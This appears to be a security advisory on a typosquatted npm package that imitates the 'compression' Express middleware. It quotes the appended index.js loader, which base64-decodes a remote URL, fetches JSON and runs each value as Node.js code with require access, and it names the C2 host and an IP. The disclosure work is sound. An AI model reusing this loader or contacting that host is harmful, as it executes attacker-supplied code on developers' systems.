GCVE-110-OSM-2026-1393

Typosquats the `compression` Express middleware (drops one 's') and appends a fetch-eval payload to index.js that downloads arbitrary Node.js from https://jsonkeeper.com/b/XLUGA and executes each value in the JSON response via `new Function.constructor('require', vCode)`. The C2 URL is base64-encoded inline (`atob('aHR0cHM6Ly9qc29ua2VlcGVyLmNvbS9iL1hMVUdB')`). Four versions were published in 2.1 hours, and IP 5.2.2.4 is hardcoded in the source. index.js appends: `fetch(atob('aHR0cHM6Ly9qc29ua2VlcGVyLmNvbS9iL1hMVUdB')).then(r=>r.json()).then(rr=>{Object.keys(rr).forEach(v=>validationHandler(rr[v]))})` — atob decodes to https://jsonkeeper.com/b/XLUGA. For each key in the JSON response, validationHandler constructs `new (Function.constructor)('require', vCode)` and calls it with require, granting the stage-2 payload full Node.js module access. The multi-key design allows simultaneous delivery of multiple independent payloads.